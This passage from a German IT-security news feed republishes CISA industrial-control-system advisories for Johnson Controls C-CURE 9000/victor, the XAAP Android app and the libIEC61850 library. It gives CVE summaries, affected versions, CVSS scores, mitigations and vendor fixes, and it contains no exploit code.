<li><strong>Initial Release Date: </strong>2026-07-14</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-14</td>
<td>1</td>
<td>Initial Publication by Rockwell Automation</td>
</tr>
<tr>
<td>2026-07-21</td>
<td>2</td>
<td>Initial Republication of Rockwell Automation advisory</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls C-CURE 9000 and Victor application server]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.
The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:

C-CURE 9000 and victor]]></description>
<link>https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689942/it-security-nachrichten/johnson-controls-c-cure-9000-and-victor-application-server/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:06 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-01.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with network access to achieve remote code execution.</strong></p>
<p>The following versions of Johnson Controls C-CURE 9000 and Victor application server are affected:</p>
<ul>
<li>C-CURE 9000 and victor &lt;=v2.90_v3.0 </li>
<li>victor Web &lt;=v7.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 9.6</td>
<td>Johnson Controls</td>
<td>Johnson Controls C-CURE 9000 and Victor application server</td>
<td>Server-Side Request Forgery (SSRF), Execution with Unnecessary Privileges</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21655</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an unauthenticated attacker on the adjacent network to achieve arbitrary code execution on the C-CURE 9000 or victor application server, as well as connected clients (e.g., workstations of physical security personnel). Such an attack could impact physical security controls.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21655">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls C-CURE 9000 and victor: &lt;=v2.90_v3.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Mitigation</strong><br>Johnson Controls recommends the following defensive measures to help reduce the risk of exploitation: (CVE-2026-21655) Upgrade to C-CURE 9000 / victor version 3.20 or later, which addresses the vulnerable deserialization path (LV1.1).</p>
<p><strong>Vendor fix</strong><br>Network segmentation - Isolate the C-CURE 9000 and victor application servers on a dedicated network segment and restrict access to port 8999 to only authorized systems that require connectivity.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-21653</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could allow an attacker to forge server-side HTTP requests from the victor Web application. This could be leveraged to interact with internal services running on the host or accessible on the local network, potentially leading to unauthorized information disclosure or lateral movement within the network.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-21653">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;v7.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/918.html">CWE-918 Server-Side Request Forgery (SSRF)</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>9.6</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.4</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34496</a></h3>
<div class="csaf-accordion-content">
<p>Under certain circumstances, successful exploitation of this vulnerability could result in low privilege users accessing unauthorized pages such as Users and Logs. Successful exploitation could allow an attacker to view sensitive system information, user account details, and audit logs beyond their intended access level, potentially enabling further attacks or unauthorized administrative actions.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34496">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls C-CURE 9000 and Victor application server</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls victor Web: &lt;=v7.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>(CVE-2026-21653, CVE-2026-34496) Update all victor Web installations to version 7.0 or later, which contains the fix for this vulnerability. The fix has been validated through independent retest.</p>
<p><strong>Mitigation</strong><br>Firewall / access control lists - Implement strict firewall rules to block all unnecessary inbound connections to port 8999 from untrusted network segments.</p>
<p><strong>Mitigation</strong><br>Intrusion detection / prevention - Deploy IDS/IPS signatures tuned to detect known .NET deserialization exploit payloads (e.g., ysoserial.net patterns) targeting port 8999.</p>
<p><strong>Mitigation</strong><br>Application whitelisting - Enforce application whitelisting on application server hosts to prevent unauthorized executables from being launched by the server process.</p>
<p><strong>Mitigation</strong><br>Least privilege - Ensure the application server process runs with the minimum privileges necessary, reducing the impact of successful exploitation.</p>
<p><strong>Mitigation</strong><br>Monitor and audit - Enable detailed logging on application server hosts and monitor for anomalous process creation by SoftwareHouse.CrossFire.Server.exe.</p>
<p><strong>Mitigation</strong><br>Disable unnecessary services - If the ClientConnectionManager_NF.SynchronousServerNotification callback interface is not required, disable or restrict it to reduce attack surface.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16 at the following location: https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories<br><a href="https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories">https://www.johnsoncontrols.com/trust-center/cybersecurity/security-advisories</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/250.html">CWE-250 Execution with Unnecessary Privileges</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Harrison Neal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities. CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls Product Security Advisories JCI-PSA-2026-07, JCI-PSA-2026-13, and JCI-PSA-2026-16</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Johnson Controls XAAP Android]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could result in an attacker obtaining confidential information from the device.
The following versions of Johnson Controls XAAP Android are affected:

XAAP Android]]></description>
<link>https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689941/it-security-nachrichten/johnson-controls-xaap-android/</guid>
<pubDate>Thu, 23 Jul 2026 20:17:02 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-02.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could result in an attacker obtaining confidential information from the device.</strong></p>
<p>The following versions of Johnson Controls XAAP Android are affected:</p>
<ul>
<li>XAAP Android &lt;1.53</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 3.3</td>
<td>Johnson Controls</td>
<td>Johnson Controls XAAP Android</td>
<td>Cleartext Storage of Sensitive Information</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Ireland</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-34490</a></h3>
<div class="csaf-accordion-content">
<p>A cleartext storage weakness exists in the Fire Solutions Android application, which stores application data locally on the device without encryption. An attacker with physical access to the device and one able to compromise the device through a separate, unrelated flaw, could potentially read this data in plaintext. Exploitation does not require network access and is limited to the local device environment.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-34490">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Johnson Controls XAAP Android</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Johnson Controls</div>
<div class="ics-version"><strong>Product Version:</strong><br>Johnson Controls XAAP Android: &lt;1.53</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Johnson Controls recommends users update the XAAP Android application to version 1.53 or later, which contains the fix for this vulnerability.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users restrict physical access to devices running the XAAP Android application.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users ensure devices are hardened with up-to-date Android OS versions, device encryption enabled, and screen lock protections in place.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users implement a Mobile Device Management (MDM) solution to enforce security policies, including encryption requirements, application whitelisting, and remote wipe capabilities.</p>
<p><strong>Mitigation</strong><br>Johnson Controls recommends users Avoid rooting or jailbreaking devices used in production environments, as this weakens OS-level security controls that help protect local application data.</p>
<p><strong>Mitigation</strong><br>For more detailed mitigation instructions, please see Johnson Controls Product Security Advisory JCI-PSA-2026-10.</p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/312.html">CWE-312 Cleartext Storage of Sensitive Information</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>3.3</td>
<td>LOW</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>4.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Johnson Controls reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this vulnerability.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time. This vulnerability is not exploitable remotely.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Republication of Johnson Controls JCI-PSA-2026-10</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation libIEC61850]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.
The following versions of MZ Automa...]]></description>
<link>https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689940/it-security-nachrichten/mz-automation-libiec61850/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:58 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-06.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an unauthenticated network-adjacent attacker to crash critical IEC 61850 services or execute arbitrary code, disrupting or compromising protection, visibility, and control functions.</strong></p>
<p>The following versions of MZ Automation libIEC61850 are affected:</p>
<ul>
<li>libIEC61850 &gt;=v1.0.0|&lt;=v1.6.1 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.1</td>
<td>MZ Automation</td>
<td>MZ Automation libIEC61850</td>
<td>Stack-based Buffer Overflow, Heap-based Buffer Overflow, Improper Handling of Syntactically Invalid Structure, NULL Pointer Dereference</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Transportation Systems</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50039</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a stack-based buffer overflow, which may allow an attacker to cause a memory corruption via a ReadRequest.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50039">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/121.html">CWE-121 Stack-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-49035</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to a heap-based buffer overflow via a crafted MMS Initiate request. Remote code execution (RCE) has been demonstrated when ASLR is disabled; memory corruption or denial of service may occur in configurations where ASLR is enabled.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-49035">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/122.html">CWE-122 Heap-based Buffer Overflow</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
